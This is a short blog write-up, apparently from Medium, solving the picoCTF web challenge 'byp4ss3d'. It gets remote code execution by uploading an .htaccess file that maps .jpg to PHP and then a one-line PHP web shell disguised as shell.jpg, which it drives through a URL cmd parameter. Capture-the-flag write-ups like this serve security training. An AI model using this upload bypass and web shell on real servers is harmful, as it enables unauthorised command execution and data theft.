← Back to list

“byp4ss3d” | picoCTF | Obtain RCE by abusing .htaccess in Apache servers | Web Exploitation

Achieving Remote Code Execution (RCE) by abusing apache .htaccess to upload a php payload.

Dr_ro0t · 2026-06-20 19:30 · 3 claps · 2.1 min read
#ctf #file-upload-vulnerability #rce-vulnerability #picoctf
Open on Medium ↗
Wiki topics: 🔒 · Cybersecurity

“byp4ss3d” | picoCTF | Obtain RCE by abusing .htaccess in Apache servers | Web Exploitation

Before We Go

What is .htaccess files

Payloads We Will Use

  1. The content of the .htaccess
AddType application/x-httpd-php .jpg
  1. Our php payload
<?php system($_GET['cmd']); ?>

Attack Scenario

  1. First we will try to upload a normal image to see web response

  2. After this we will try to upload a .htaccess file to make the server accept our php payload

  3. Upload our payload

Lab Solution

We will Upload a normal image first

Lab Solution

We will Upload a normal image first

From the Burp, the response is from Apache server, so we will use .htaccess

Prepare our payloads

Since the server doesn’t accept extensions rather than jpg, png, gif

So, we will create a .htaccess file

AddHandler application/x-httpd-php .jpg

We will name it .htaccess , then upload it

After upload it and try to open it, this error appeared to us >> This means that out payload executed successfully

Now, we will upload our php payload

<?php system($_GET['cmd']); ?>

We will name it shell .jpg ( Be concern that the extension is jpg not php )

Now, we will add our URL parameter which is cmd

The URL will be

http://amiable-citadel.picoctf.net:57472/images/shell.jpg?cmd=ls -lha

Now, we will search about the flag.

Finally we will find it in /var/www/ , so we will cat it with >> cat /var/www/flag.txt

I hope you like the solution :)

hack

eat

sleep

again :)


메타데이터
post_id
d722fb1122f1
slug
byp4ss3d-picoctf-obtain-rce-by-abusing-htaccess-in-apache-servers-web-exploitation-d722fb1122f1
url
https://medium.com/@Dr_ro0t/byp4ss3d-picoctf-obtain-rce-by-abusing-htaccess-in-apache-servers-web-exploitation-d722fb1122f1
canonical_url
https://medium.com/@Dr_ro0t/byp4ss3d-picoctf-obtain-rce-by-abusing-htaccess-in-apache-servers-web-exploitation-d722fb1122f1
author_url
https://medium.com/@Dr_ro0t
status
ok
fetched_at
2026-06-26 03:39:16